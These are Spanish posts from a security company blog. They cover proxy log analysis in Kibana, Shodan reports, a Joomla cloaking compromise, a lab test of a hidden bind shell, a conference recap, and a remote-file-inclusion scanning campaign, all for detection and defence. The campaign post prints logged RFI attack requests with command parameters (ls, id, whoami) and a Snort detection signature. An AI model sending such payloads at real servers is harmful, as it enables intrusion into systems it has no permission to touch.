Blog de Seguridad de la Información de S2 Grupo
Comenzamos 2015 con un nuevo congreso de Seguridad Informática que nace en Santander como el primero en este ámbito en Cantabria, Sh3llCON: Security Hell Conference.
Se definen como un nuevo foro de divulgación sobre seguridad informática que surge con la finalidad de analizar las distintas amenazas y vulnerabilidades que rodean nuestra conexión diaria en las redes.
Sh3llCON se celebrará los días 23 y 24 de enero en el Hotel Santemar y contará con un interesante plantel de ponentes:
Hace unos meses, nuestro compañero Jose Vila ya nos habló de Logstash como alternativa a Splunk para análisis de logs, poniendo como ejemplo como se podía analizar un conjunto de logs de Apache y contándonos cómo personalizar un dashboard de Kibana para analizar alertas procedentes de Snort [1] [2]. En esta ocasión vamos a continuar hablando de Logstash, poniendo como ejemplo como buscar algunas anomalías en un fichero de log de un proxy de navegación de un Squid.
Lo primero a tener en cuenta sería definir el fichero de configuración que le pasaremos a Logstash para que nos interprete, de la manera adecuada, el log del Squid. Este fichero es el que yo me he definido (se puede descargar del siguiente repositorio: https://github.com/mmorenog/Kibana):
Una vez definido el fichero de configuración podemos cargar en Kibana el fichero de log a analizar:
En este dashboard inicial vemos el histograma con todos los eventos del log, seguido de una visualización detallada de cada línea del log interpretada como le hemos indicado en el fichero de configuración que previamente hemos diseñado. A continuación un detalle de una de las líneas:
Para ir perfilando nuestro dashboard de visualización, podemos ir añadiendo paneles con la información que nos interese, como por ejemplo el tamaño medio de las peticiones, el tiempo medio desde que se lleva a cabo una petición y se obtiene respuesta, destinos menos solicitados, content-type más anómalos, etc.
Un ejemplo de como crear un panel para que nos muestre el tamaño medio de las respuestas que seleccionemos en nuestro histograma de eventos, sería el siguiente:
Añadiendo los paneles anteriormente comentados, nuestro dashboard para el log del Squid tendría el siguiente aspecto:
Comentar en este punto, que cualquier búsqueda o filtrado que hagamos sobre nuestro histograma de eventos, afectará a todos los paneles que tenemos en el dashboard, ciñéndose los resultados a la búsqueda/filtrado que se han llevado a cabo. Por ejemplo, si hacemos una búsqueda en una determinada franja horaria de los métodos HTTP más utilizados, nuestro dashboard adoptaría el siguiente aspecto:
Como se observa, las peticiones pueden quedarse fijas en el histograma diferenciándose por colores. También es posible generar un gráfico de barras con la cuenta total de los resultados de las búsquedas que hemos realizado en el intervalo temporal solicitado, como se muestra a la derecha.
Otra búsqueda que podemos hacer sería la de obtener un Top 10 de los destinos más solicitados dejando fija esta petición del Top 10 en el panel de búsqueda:
O incluso añadiendo también las URI más solicitadas:
Una vez hemos visto las posibilidades de representación que nos permite Kibana a la hora de diseñar paneles de visualización, comentemos algunas anomalías indicativas de compromiso a tener en cuenta en un proxy de navegación:
Pongamos ahora en práctica con Kibana la búsqueda de algunas de las anomalías citadas.
Si nos fijamos en la [Imagen 4], en el panel de los “Content-Type” menos solicitados, nos llama la atención por ejemplo uno denominado “JPeg”, lo cual es un formato inválido, y por tanto anómalo y cuya petición que lo ha generado habría que investigar.
Partiendo de nuevo de la [Imagen 4], vemos que el tiempo de petición medio que tenemos es de 4,585 y el tamaño medio de respuesta es de 53,427. Por tanto, para acotar una zona de eventos en nuestro log que nos pueda mostrar “conexiones lentas”, se podría obtener para una consulta del tipo request_msec:>4585 and request_size:<5327. El resultado podría ser algo susceptible de ser analizado en profundidad.
Otra búsqueda interesante que podríamos hacer es la de buscar todos aquellos “gif” (que aparezcan en el uri_param), sin embargo que en el content_type no aparezca el tipo esperado para un “gif”, sino algo que pudiera identificar un ejecutable por ejemplo. Esas peticiones que aparecen en nuestro log deberíamos estudiarlas:
Otra búsqueda interesante, podría ser investigar qué peticiones nos están devolviendo 404 y un tamaño de respuesta superior a un determinado umbral que le especifiquemos o dentro de un intervalo (Ej: response_status:404 AND response_size:[1000 TO 100000]). Lo habitual quizá, es que el tamaño devuelto por un 404 no sea demasiado elevado:
También podemos querer averiguar los “exe” que se han estado descargando:
Como vemos, las posibilidades de buscar anomalías son bastante amplias, y Kibana puede ser una buena herramienta para ayudarnos a complementar los análisis de nuestros logs. Personalmente echo en falta (o yo no he sabido implementarlo) un método que me permita calcular periodicidades en las conexiones, facilidad de integración con fuentes externas -para que sea capaz de correlar algunos datos- y que incorpore su propia base de datos de inteligencia, a la cual se la permitiera ir autoaprendiendo.
En este ejemplo hemos buscado algunas de las anomalías más conocidas, pero si tratamos de investigar registros procedentes de compromisos por ataques avanzados, que implican una mayor dificultad para encontrar evidencias de compromiso, una herramienta que nos amplía las posibilidades es CARMEN (Centro de Análisis de Registros y Minería de Eventos) [PDF] , pensada para la detección de amenazas persistentes avanzadas y fruto de proyectos de I+D+i y explotación de seguridad por parte del CCN (Centro Criptológico Nacional) y S2 Grupo, la cual está dotada de inteligencia, capacidad de autoaprendizaje y facilidad de integración con diferentes fuentes.
Aprovecho para comentar que, se ofrecerá un taller sobre CARMEN en las VIII Jornadas STIC CCN-CERT, que se celebraran el próximo diciembre. Allí os esperamos y para el que no pueda asistir, no os preocupéis que os lo iremos contando por aquí :)
Tras la buena acogida que tuvo la propuesta desde @securityartwork de elaborar un listado de novelas para adictos a la ciberseguridad a través del hashtag #novelaseguridad -que podéis consultar aquí– ,decidimos poner en marcha otra nueva iniciativa, recopilar un buen listado de películas sobre dicha temática. Para ello, os invitamos a tuitear vuestras recomendaciones con el hashtag #peliseguridad y este es el resultado inicial:
Hace unos días, a través de la cuenta de Twitter de @securityartwork lanzamos la iniciativa de intentar recopilar un listado de novelas o relatos relacionados con el mundo de la ciberseguridad, pidiendo a sus seguidores que hiciesen sus recomendaciones literarias twiteando con el hashtag #novelaseguridad.
El recopilatorio resultó de lo más interesante:
· Daemon y Freedom, de Daniel Suarez (2006).
· The cuckoo’s egg, de Clifford Stoll (1989).
· Criptonomicón, y Reamde de Neal Stephenson (1999, 2011).
· The Blue Nowhere (La estancia azul, Eter azul), de Jeffery Deaver (2001).
· La maquina Enigma, de Roman Ceano.
· Kingpin: How One Hacker Took Over the Billion-Dollar Cybercrime Underground, de Kevin Poulsen (2011).
· Guerra en la red: Los nuevos campos de batalla por Richard A. Clarke y Robert K. Knake (2011).
· Zero Day y Trojan Horse de Mark Russinovich (2011, 2012).
· El Arte de la Intrusion de William L. Simon y Kevin D. Mitnick (2006).
· Stealing the Network por Jonny Long, Ryan Russell y Timothy Mullen (2009).
· Diario de un hacker. Confesiones de Hackers Adolescentes de Dan Verton (2002).
· Super hackers de Lois Gresh y Robert Weinberg (2001).
· Los códigos secretos de Simon Singh (2000).
· Trilogia Millenium de Stieg Larsson (2005-2007).
· Fortaleza digital de Dan Brown (1998).
· Leia.exe de Hari Kunzru (2005).
Probablemente falten muchos títulos interesantes, pero para comenzar es un listado de lo más apetecible para el que le interese este tipo de género. Si queréis hacer vuestra aportación al listado os invitamos a que lo tuiteeis con el hashtag #novelaseguridad o bien lo añadáis en comentarios del post, e iremos actualizando la lista.
Y ahora, ¿cuál es el siguiente qué vais a leer?
Tal y como recientemente anunció John Matherly (@achillean), fundador de Shodan, se han incorporado mejoras significativas en dicho buscador como, entre otras funcionalidades, una mejor integración con Shodan Exploits / Maps, resultados más rápidos, posibilidad de exportar en CSV o JSON o la posibilidad de representar gráficamente una instantánea de los resultados obtenidos tras hacer una determinada búsqueda, a modo de informes para tener una visión general de dichos resultados, de forma que, podamos tener una serie de gráficas desglosadas según ubicación, sistema operativo, producto, nombre del host, etc.
Los informes pretenden, por un lado, mostrar una imagen visual de los resultados, mucho más atractivos y accesibles si son presentados a modo de gráficas o mapas, de forma que con solo mirar el informe te hagas una idea de cuáles son los resultados obtenidos y puedas identificar tendencias. Por otro lado, puesto que los informes son instantáneas de los resultados de la búsqueda tal y como la ve Shodan en ese momento, es posible programar por ejemplo reportes periódicos cada X meses para detectar cambios en las redes que auditamos como nuevos elementos incorporados. Aunque esto también sería posible hacerlo añadiendo por ejemplo a nuestra petición las etiquetas “after” y/o “before” y, de los resultados obtenidos, obtener un informe. Un ejemplo de petición para obtener resultados, por ejemplo, recogidos en los últimos 8 meses de las WebCams indexadas por Shodan sería:
Se pueden consultar todas las opciones para personalizar las búsquedas echando un vistazo a la documentación de la API y en la ayuda de los filtros de Shodan.
Para generar un informe, solo hay que pinchar en “Create Report” tras realizar la petición de búsqueda, darle un título identificativo y esperar a que te llegue vía email el enlace que te lleva al informe que has generado.
Una ejemplo de informe sería el siguiente. Queremos ver de forma genérica estadísticas de Raspberry Pi online indexadas por Shodan. Como es algo muy genérico en la consulta simplemente buscaré por Raspbian:
Tras la obtención de resultados solicitamos el informe a través de “Create Report” y en unos pocos minutos nos llegará a nuestro correo el enlace al informe solicitado que, en este caso podéis ver completo en este enlace, y a continuación algunas capturas:
Otro ejemplo de informe podría ser con la siguiente consulta, servidores Apache detectados en el último mes en España:
El informe de salida tendría este aspecto:
(Me pregunto que pasará en Orihuela …)
Parece muy interesante esta nueva funcionalidad de Shodan, ¿se os ocurren más utilidades para obtener los informes?
El “Cloaking” es una técnica de posicionamiento Web (Black Hat SEO) por la que se pretende engañar a los motores de búsqueda y mejorar así la posición de ciertos resultados. Consiste en mostrar un contenido de la Web diferente para el usuario y para el bot que la rastrea con el fin de manipular lo que éste indexa. Para entender mejor este tipo de técnicas os recomiendo la lectura de la saga “Técnicas SEO para gente de moral relajada” en “Un informático en el lado del mal”.
Recientemente hemos identificado un aumento de ataques contra CMS Joomla para explotar posibles vulnerabilidades con motivo de llevar a cabo la técnica de “Cloaking” descrita anteriormente, con el objetivo de favorecer sitios Web de venta de determinadas sustancias “médicas” (las típicas farmacias online). En este caso, en el que hablamos de sitios vulnerados por terceros, el “Cloaking” se complica un poco más.
Un escenario de “Cloaking” que podemos encontrarnos, por ejemplo, es aquel en el que si hacemos una determinada búsqueda en Google sobre una página legítima, aparentemente no vulnerada y ajena totalmente a lo que pudiera ser una farmacia online, nos muestra, que en parte del contenido que tiene cacheado aparezcan términos como “viagra”,”pills”,“drugs”, etc. provocando cierto daño reputacional a dicha página.
Por ejemplo, lanzando un dork como:
site:midominio intext:”viagra”,”pills”,”drugs”
sobre un dominio objetivo, es posible que nos indexen resultados como los siguientes, de páginas que han sido comprometidas para tal fin:
Si visitamos una de estas webs afectadas como un usuario normal, el contenido de la misma es legítimo a ojos del usuario, y no se ve por ninguna parte ningún tipo de contenido relacionado con las palabras mencionadas (viagra, drugs…) que sí aparecen cacheadas tras hacer la búsqueda. Sin embargo, si el sitio se visita con un user-agent de Googlebot, el contenido de esta página cambia y es entonces cuando se muestran enlaces a sitios relacionados con la venta de sustancias ilegales o similares. Un ejemplo real de lo que nos hemos encontrado es el siguiente:
A la izquierda se muestra un fragmento de la Web cuando lo visita un usuario cualquiera, con un user-agent habitual, aparentemente todo normal. A la derecha se muestra el mismo fragmento de la Web cuando lo visita el robot de Google. Como se ve, aparecen ciertas líneas (en verde) con el texto “buying viagra from boots”, “red viagra pills”…etc, y redirigen a sitios como:
hxxp://www. xxxxxxxx. org/search-results-viagra-buy-online/
hxxp://www. xxxxxxxxx. org/buying-viagra-from-boots/
hxxp://xxxxxx.com/red-viagra-pills/
[…]
Bien, los atacantes a través de dicha técnica aprovechan la visibilidad y buena reputación que puedan tener las páginas de las que se aprovechan para posicionar las suyas.
Como se ha comentado al inicio de este post, hemos detectado en las últimas semanas una campaña de explotación de sitios Joomla para llevar a cabo la técnica descrita. La mayoría de los sitios afectados usan versiones vulnerables y muy antiguas de Joomla (rama 1.5) aunque una de las principales vías de entrada que hemos detectado en este caso ha sido a través de versiones vulnerables del componente EXtplorer (com_extplorer). Este componente es explotable a través de diversos tipos de vulnerabilidades pero la que se está usando de forma masiva para este tipo de ataques es la denominada “eXtplorer v2.1 Arbitrary File Upload Vulnerability” descubierta por Brendan Coles a finales de 2012 y para la cual hay exploit público desde enero de 2013. Las versiones de eXtplorer afectadas a este bypass de la autenticación en este caso son la 2.1.2, 2.1.1, 2.10 y 2.1.0RC5.
Hemos encontrado de manera repetida que los atacantes han aprovechado estos Joomla vulnerables para subir un fichero malicioso llamado joomla_rss.php, y modificar el fichero application.php para que referencie a joomla_rss.php (ver imagen siguiente en la que se muestra la línea modificada del fichero application.php que referencia a joomla_rss.php, dentro de la función ‘render()’). Ambos en la carpeta includes.
Debajo podemos ver parte de la función render() en el fichero application.php:
Una línea correcta para este fichero sería:
JResponse::setBody($document→render($caching, $params));
El fichero joomla_rss.php tiene un aspecto similar a este y su funcionalidad es devolver determinadas páginas a ciertas IP o bots, es decir, es el causante de insertar/esconder los spam-links en la página afectada.
Otros ficheros maliciosos no relacionados directamente con esta técnica de “Cloaking” pero que también hemos encontrado de manera repetida en algunos Joomla han sido cpanel_config.php o jindex.php. Ambos presentan un aspecto similar a código siguiente:
Este tipo de shell aprovecha el contenido que se pasa en las cookies de una petición para ejecutarlo, pudiendo ejecutar cualquier tipo de parámetro en el equipo, o subir por ejemplo otros ficheros maliciosos. Una sencilla PoC metiendo un print a continuación evidencia el funcionamiento de la misma:
En definitiva, parece ser que los atacantes ven un filón en los componentes vulnerables de Joomla y continuamente escanean Internet en búsqueda de los mismos. Recientemente desde Spiderlabs alertaban también de otra vía de entrada masiva para comprometer sitios Joomla a través del JCE, que muy probablemente también estén usando para “Cloaking” o cualquier otro tipo de actividad maliciosa.
Para finalizar, recomendar actualizar siempre a las últimas versiones, componentes incluidos y usar solo los componentes, módulos y plugins estrictamente necesarios para los requerimientos de la Web. Recomendable usar también algún tipo de solución IPS/IDS o WAF tipo ModSecurity. La solución no pasa únicamente por eliminar los ficheros maliciosos.
Para poder realizar una gestión adecuada de la seguridad de una empresa u organización, es imprescindible disponer de un inventario detallado de los activos conectados a la red así como de todos los servicios que éstos ofrecen. De este modo, en caso de detectar un activo o servicio desconocido, se debe averiguar su origen y evaluar si supone una amenaza para la organización.
Es recomendable habilitar sólo aquellos servicios que sean estrictamente necesarios para el funcionamiento de los sistemas y aplicaciones. En caso de equipamiento que esté expuesto en zonas DMZ o que deban ser accedidos desde Internet, se deben tomar medidas adicionales de protección asegurando previamente un bastionado de los equipos y limitando el acceso desde la red origen concertada.
Muchos troyanos utilizan habitualmente los mismos puertos, lo cual no significa que se tenga una infección de malware si se encuentra alguno de esos puertos abiertos, pero si ese puerto no es habitual que se use en una organización y de repente se detecta abierto nos debería generar una alerta para revisarlo cuanto antes. Una revisión periódica de los servicios ofrecidos al exterior podría ayudarnos a la hora de detectar un posible ataque, sea a través de un intento de explotación de una determinada vulnerabilidad, conexiones remotas no autorizadas, malware, exfiltración de datos o similar.
Como ya se publicó en el informe “Detección de APTs” (páginas 122 y siguientes), existen diferentes técnicas que una organización puede utilizar para llevar a cabo esa revisión periódica de servicios/puertos abiertos que se encuentren accesibles desde redes externas. Algunas de ellas son las siguientes:
Pero, ¿qué ocurre cuando, usando las técnicas de escaneo descritas anteriormente, somos incapaces de detectar un puerto a la escucha cuando realmente sí que lo está? Me hice esta pregunta tras leer recientemente un post en “Shell is coming…”, en el que Borja Merino publicaba una versión modificada de la bind shell “shell_bind_tcp” (incorporada en Metasploit), que él ha denominado “Hidden Bind Shell”. Dicho esto payload es una versión mejorada sobre otro payload que Borja también publicó anteriormente denominado ACL Bind Shell y que únicamente supone un incremento de unos 30 bytes.
El objetivo de la “hidden bind shell”, tal y como se describe en el blog, es crear una bind shell que responda paquetes RST ante cualquier intento de conexión originado desde una IP diferente a la embebida en el propio payload. De esta forma, cualquier herramienta que trate de escanear el equipo comprometido mostrará como CLOSED el puerto asociado al shellcode.
Para probar el funcionamiento de esta bind shell me he bajado el payload del pull request lanzado a Metasploit y me he creado una “hidden bind shell” que he denominado “backdoor_oculto.exe” y que solo será visible/accesible a través de la IP 192.168.1.2 en el puerto 1024:
Tras ello, en mi entorno de laboratorio voy a comprometer la máquina 192.168.1.46 ejecutando mi “backdoor_oculto.exe” en la misma. Si, como vemos a continuación, intento escanear vía Nmap mi máquina comprometida desde una IP diferente a la 192.168.1.2, en este caso me he puesto la IP 192.168.1.11, el resultado que me da en el puerto 1024 es que está cerrado (CLOSED). Cambiando mi IP a la del ‘atacante’ (192.168.1.2) comprobamos, tras hacer la misma operación, que en este caso el puerto 1024 aparecen como OPEN a ojos del atacante y el mismo puede obtener una shell en dicho equipo comprometido:
Un IDS bien configurado con las firmas adecuadas detectaría probablemente cuándo ha habido una conexión a esa bind shell por parte del atacante, sin embargo, no se me ocurre, utilizando las tradicionales técnicas de escaneos preventivas expuestas anteriormente (nessus, nmap, etc.) cómo detectar que ese puerto está a la escucha en mi equipo (si se os ocurre alguna por favor compartidla :) ). De hecho, he probado diversos escaneos con Nmap, con diferentes opciones de escaneo [1] y los resultados siempre han sido los mismos, como se muestra a continuación:
Una forma que podría ser viable para detectar los puertos “sospechosos” que están a la escucha sería de forma LOCAL en mis máquinas, ejecutando de manera periódica “netstat” en cada una de las máquinas de nuestra red, almacenando los resultados y comparando los mismos de un escaneo a otro para que nos alerte cuándo aparece un nuevo puerto a la escucha y que antes no lo estaba, para que podamos investigar el motivo por el que ahora se encuentra de esta forma. Este proceso puede ser muy lento si tenemos que ir equipo por equipo ejecutando netstat así que, dependiendo de la infraestructura que exista o diseño de la red podemos pensar en automatizar este proceso.
Por ejemplo, si nuestras máquinas forman parte de un Active Directory (AD) por el que podemos administrar de manera centralizada los equipos, inicios de sesión, establecer políticas a determinadas unidades organizativas (ou), grupos de usuarios, desplegar programas en muchos equipos a la vez, etc. Tal y cómo se explicó en el post “Recolección distribuida de IOCs”, podemos valernos de diversos métodos que podemos implementar con dicho AD para automatizar el proceso de ejecución de un script en varias máquinas a la vez de manera periódica. Powershell podría ayudarnos a elaborar un script de estas características, por ejemplo podríamos apoyarnos para realizarlo en la función Get-NeworkStatistics desarrollada por Shay Levi. La idea más simple por ejemplo -grosso modo- sería partir de un fichero origen en el que estuvieran todos los puertos que se supone que una determinada máquina debe tener a la escucha, ejecutar nuestro script por el que se obtengan vía netstat todos los puertos en LISTENING, y cuyo resultado sea volcado en un fichero. Este fichero se compararía con el original y en el caso de que se detecte un puerto nuevo a la escucha que nos notifique de la forma que le indiquemos. Finalmente, tras acabar el proceso de notificación, que se elimine el nuevo fichero creado. Comentar que, en caso de que aparezca un nuevo puerto cuyo estado no sea LISTENING sino que tiene establecida una conexión, no nos alertaría, pero en ese caso, si tenemos un IDS con las firmas adecuadas nos alertaría probablemente.
[1] Recordatorio:
-sS: SYN Stealth. Envía un SYN. Técnica usada por defecto. Si Closed: Recibe RST, Open: Recibe SYN/ACK, Filtered: ICMP unreachable o expira el timeout.
-sT: Connect. Envía un SYN, luego un RST para cerrar conexión. Si Closed: Recibe RST, Open: Recibe SYN/ACK, Filtered: ICMP unreachable o expira el timeout.
-sA: TCP ACK. Envía ACK vacío. Sólo determina si los puertos están o no filtrados. Si Unfiltered: Recibe RST, Filtered: ICMP error; expira el timeout.
-sN: TCP NULL. Envía TCP con todos los flags a 0. Closed: Recibe RST. Filtered: Recibe ICMP unreachable. Open|Filtered: expira el timeout.
-sF: TCP FIN. Envía TCP con el flag FIN a 1. Closed: Recibe RST. Filtered: Recibe ICMP unreachable. Open|Filtered: expira el timeout.
-sX: XMas Scan. Envía TCP con los flags FIN, PSH y URG a 1. Closed: Recibe RST. Filtered: Recibe ICMP unreachable. Open|Filtered: expira el timeout.
Un año más hemos estado en uno de los principales congresos de seguridad celebrados en España, Rooted CON, que este año celebraba su V edición y daba cabida a más de 1000 asistentes y más de una veintena de ponentes.
Comenzar destacando que días previos a la Rooted CON tuvieron lugar los tradicionales Rooted Labs, muy esperados, y como novedad este año, también tuvo lugar un training impartido por Corelan; Win32 Exploit Development Bootcamp. Dos días intensos en los que los asistentes y Peter Van Eeckhoutte acabaron exhaustos pero muy satisfechos por los resultados obtenidos. También tuvo lugar el Rooted Arena, en el que las primeras posiciones fueron para, respectivamente: w0pr, dcua, pADAwan y los mejores Write-Ups para w3b0n3s y SkU.
Tras la inauguración del congreso, en el que se anunció la sorpresa de una propuesta de una ¡Rooted CON Valencia! (estaremos atentos…), el día 1 comenzó con una ponencia por parte de Francisco Jesús Gómez y Carlos Juan Díaz que nos hablaron de “Sinfonier: Storm Builder for Security Investigations” una herramienta OSINT modular, evolucionada de Yahoo Pipes, muy interesante y para la que buscaban beta-testers, así que si os interesa para más información no dudéis en visitar la Web del proyecto y su cuenta de Twitter.
La siguiente charla fue a cargo de Alfonso Muñoz, “Ocultación de comunicaciones en el lenguaje natural”, que nos presentaba su proyecto JANO, por el que nos explicaba diferentes formas de ocultar información dentro de textos. El objetivo es ocultar la mayor cantidad de bits posibles en una palabra de lenguaje natural. El problema viene con palabras con varios significados. Alfonso nos contó que utilizaba diccionarios de sinónimos a modo de establecer covert channels como forma de esteganografía en el lenguaje natural.
Pau Oliva nos presentaba una app para Android que nos permite cómodamente bypassear portales cautivos Wifi (“Bypassing wifi pay-walls with Android”) recorriendo todas las IPs posibles que pudieran estar conectadas a una Wifi y cuando encontrara una, spoofear su MAC e IP para conectarse haciéndose pasar por él. Habló de contramedidas también para evitar este tipo de acciones. Las slides ya están disponibles y la app puede descargarse directamente de Google Play.
Tras el primer descanso del día, Antonio Ramos nos hablaba de “Agilidad. La vía a la seguridad”; cómo afrontar un análisis de riesgos de una manera lo más realista posible, incluyendo al cliente en las metodologías, llevando a cabo planes a corto plazo y no teniendo miedo al concepto prueba-error.
La tarde comenzaba con “The Kill Chain: A day in the life of an APT”, en la que Raj Shah nos habló sobre que los ataques dirigidos, a su modo de ver están más cercanos al ciberespionaje que a la ciberguerra, nos recordó el ciclo de vida de una APT y que no se nos debe olvidar que también los humanos somos “APTs”. (Hacer un inciso aquí para recordaros que se publicó no hace mucho un extenso informe sobre ataques dirigidos, historia, implicación en la seguridad nacional y técnicas de detección que podéis descargar, por si os interesa ampliar la información acerca de las APTs).
Pablo Gonzalez y Juan Antonio Calles, nos traían “Ciberwar: Looking for …touchdown!”, una charla en la que nos hablaban de un hipotético caso en el que los estados pudieran aprovechar la tecnología móvil para convertir a los ciudadanos en cibersoldados, haciendo de nuestros smartphones ciberarmas, creando una botnet. Pusieron como ejemplo una app infectada que cualquiera pudiera descargarse en su smartphone y que permitiera -entre otras cosas- grabar sonido, imágenes, pivotar a redes Wifis, realizar llamadas de manera coordinada contra un mismo terminal de forma que se le haga un DDoS sobre el mismo o geolocalizarte. Todo desde el punto de vista del mínimo coste posible.
Alberto Cita nos traía “Skype sin Levita. Un análisis de seguridad y privacidad”. Nos contó que era posible realizar ataques MiTM sobre Skype de forma que pudiéramos interceptar las conversaciones a través del chat y leerlas en texto plano, obtener la contraseña hasheada e ID del usuario, e incluso recuperación y reconstrucción de ficheros enviados.
La última ponencia del día fue a cargo del fiscal Jorge Bermúdez, especializado en delitos telemáticos, “Los hackers son de Marte, los jueces son de Venus”, una interesante charla en la que el fiscal nos puso al día de lo difícil que es a veces aplicar leyes tan antiguas a delitos ‘más recientes’ como son los telemáticos y cómo él consigue aplicarlas de manera que los delincuentes sean condenados.
El día se cerró con un RootedPanel sobre ciberarmas, en el que estuvieron presentes diversos representantes de las fuerzas y cuerpos de seguridad del estado (CCN, MCD, CNPIC) e investigadores de seguridad y debatieron sobre el estado actual del desarrollo de ciberarmas y su uso.
En las últimas semanas, estamos detectando un aumento muy significativo de ataques de tipo Remote File Inclusión [1] en el que se repite el mismo patrón en el payload del ataque, y es que, la URL de inyección utilizada en esta campaña de ataques, es siempre la misma, http://www.google.es/humans.txt . Aunque el contenido de este fichero no es malicioso, la cantidad y frecuencia de las alertas que estamos detectando ponen de manifiesto que hay una campaña de ataques de reconocimiento en marcha.
Las direcciones IP atacantes tienen distintas ubicaciones en todo el mundo (se han detectado hasta 10 países implicados, incluido España), lo cual puede indicar que una o varias botnets están detrás de este tipo de ataque. De media, en un periodo de 10 días, cada una de estas IP han atacado unos 12 objetivos cada una generando entre 2000 y 5000 alertas en nuestros sensores cada una de ellas.
Por poner algún ejemplo, algunas de las peticiones detectadas contra los equipos atacados, son las siguientes:
GET /zoomstats/libs/dbmax/mysql.php?GLOBALS['lib']['db']['path']=http://www.google.com/humans.txt?
GET /123flashchat.php?e107path=http://www.google.com/humans.txt? HTTP/1.0
GET /22_ultimate/templates/header.php?mainpath=http://www.google.com/humans.txt?
GET /A-Blog/navigation/donation.php?navigation_start=http://www.google.com/humans.txt?
GET /OpenSiteAdmin/scripts/classes/FieldManager.php?path=http://www.google.com/humans.txt?%00
GET /index.php?dir=http://www.google.com/humans.txt?
GET /pollvote.php?pollname=http://www.google.com/humans.txt?&cmd=ls
GET /rss.php?page[path]=http://www.google.com/humans.txt?&cmd=ls
GET /phpGedView/help_text_vars.php?cmd=dir&PGV_BASE_DIRECTORY=http://www.google.com/humans.txt?
GET /rss.php?page[path]=http://www.google.com/humans.txt?&cmd=ls
GET /arab3upload/customize.php?path=http://www.google.com/humans.txt?&cmd=pwd
GET /ListRecords.php?lib_dir=http://www.google.com/humans.txt?&cmd=id
GET/ea-gBook/index_inc.php?inc_ordner=http://www.google.com/humans.txt?&act=cmd&cmd=whoami&d=
/&submit=1&cmd_txt=1
Todo indica que buscan recursos vulnerables de manera automática y utilizan como fichero de inyección el fichero humans.txt (no malicioso) de Google, cuyo contenido es el siguiente:
“Google is built by a large team of engineers, designers, researchers, robots, and others in many different sites across the globe. It is updated continuously, and built with more tools and technologies than we can shake a stick at. If you’d like to help us out, see google.com/jobs.”
Si el ataque ha tenido éxito, en el sitio atacado podrá leerse ese texto.
Parece ser que, en este caso la herramienta automática utilizada sea Skipfish, ya que envía www.google.com/humans.txt o www.google.com/humans.txt%00 para las pruebas que lleva a cabo de RFI.
Es evidente que los ciberdelincuentes están incrementando el uso de herramientas automáticas para llevar a cabo los ataques Web [2], y que generan una cantidad de tráfico malicioso muy importante en nuestros sensores, y es por tanto necesario saber cuales son las nuevas tendencias de ataque que puedan identificar este tipo de ataques automatizados para poder frenarlos afinando aún más las reglas de los sensores. Por lo general, las herramientas automatizadas pueden constituir un ataque de reconocimiento en el que el atacante está buscando aplicaciones o recursos vulnerables que atacará a posteriori en profundidad. Detectar a tiempo un ataque de reconocimiento permite identificar de forma más rápida vectores de ataque hacia otras de nuestras aplicaciones y permite la elaboración de listas negras de direcciones IP antes de que realmente comiencen a atacar.
En el caso del IDS Snort, la siguiente firma de Emerging Threats nos alertará de un ataque de este tipo:
#alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"ET WEB_SERVER PHP Generic
Remote File Include Attempt (HTTP)"; flow:to_server,established; content:".php"; nocase;
http_uri; content:"=http|3a|/"; nocase; http_uri; pcre:"/\x2Ephp\x3F.{0,300}\x3Dhttp\x3A\x2F[^\x3F\x26]
+\x3F/Ui";reference:url,doc.emergingthreats.net/2009151; classtype:web-application-attack; sid:2009151; rev:7;)
Para saber si hemos sido víctimas vulnerables del ataque, una de las cosas que podemos hacer es comprobar si nuestro servidor se conecta a Google para obtener dicho fichero. Para bloquear este tipo de ataque en concreto podemos añadir alguna regla en nuestro WAF o IPS para que cualquier petición que incluya la cadena “www.google.com/humans.txt” sea bloqueada. No habría ningún falso positivo en estos casos.
Otra forma es intentar bloquear a Skipfish vía su User-Agent, que, para la versión 2.10b es “Mozilla/5.0 SF/2.10b” aunque ésto es manipulable y el atacante puede cambiarlo.
Según la documentación de esta tool, es capaz de realizar más de 500 peticiones por segundo contra recursos sensibles en Internet y más de 2000 peticiones por segundo sobre redes LAN/MAN. Se podría pensar en bloquear el tráfico que provenga con estas características.
Parece ser que esta campaña de ataques está siendo bastante extendida ya que incluso desde el CSIRT de Akamai han alertado recientemente sobre la misma, coincidiendo con nuestros indicios, aunque ellos comentan que los objetivos son sitios financieros y sin embargo en nuestro caso no hemos detectado que el ataque fuera dirigido a objetivos concretos sino de manera masiva.
[1] Un ataque RFI, es un ataque que permite a un atacante inyectar un fichero remoto, normalmente a través de un script, en un servidor Web. Este ataque puede conducir a robo o manipulación de datos, ejecución de código malicioso en el servidor Web, o ejecución de código malicioso en el lado de la aplicación del cliente (como por ejemplo JavaScript), que puede conllevar a otros ataques. Este ataque explota una vulnerabilidad provocada por la deficiente validación de datos de entrada del usuario.
[2] Según un estudio de Imperva de julio 2012 cifra que más de la mitad del tráfico malicioso detectado en ataques Web para los tipos de ataques más comunes (RFI, LFI,SQL Injection, Comment Spam, XSS y DirectoryTraversal) provenía de herramientas automáticas.
Los Indicadores de Compromiso (IOCs) (de los que ya hablamos en el informe Detección de APTs) son una tecnología que está teniendo un gran auge en los últimos años y que consiste en utilizar XML Schemas para describir las características técnicas de una amenaza por medio de las evidencias de compromiso que la misma deja en el equipo comprometido tras la infección: procesos, entradas de registro, ficheros descargados, etc.
La empresa Mandiant ha desarrollado un framework open-source, llamado OpenIOC que nos permite a través de dos tools (IOC Editor e IOC Finder), desde describir de forma semántica el comportamiento del malware/APTs por medio de ficheros XML (IOC Editor) hasta utilizar los mismos para buscar signos de infección en una máquina sin necesidad de llegar a realizar un análisis exhaustivo de la misma para identificar el tipo de amenaza (IOC Finder).
Con IOC Editor podemos definir una gran cantidad de características y además posee una interfaz de edición muy intuitiva para crear nuestros ficheros IOC:
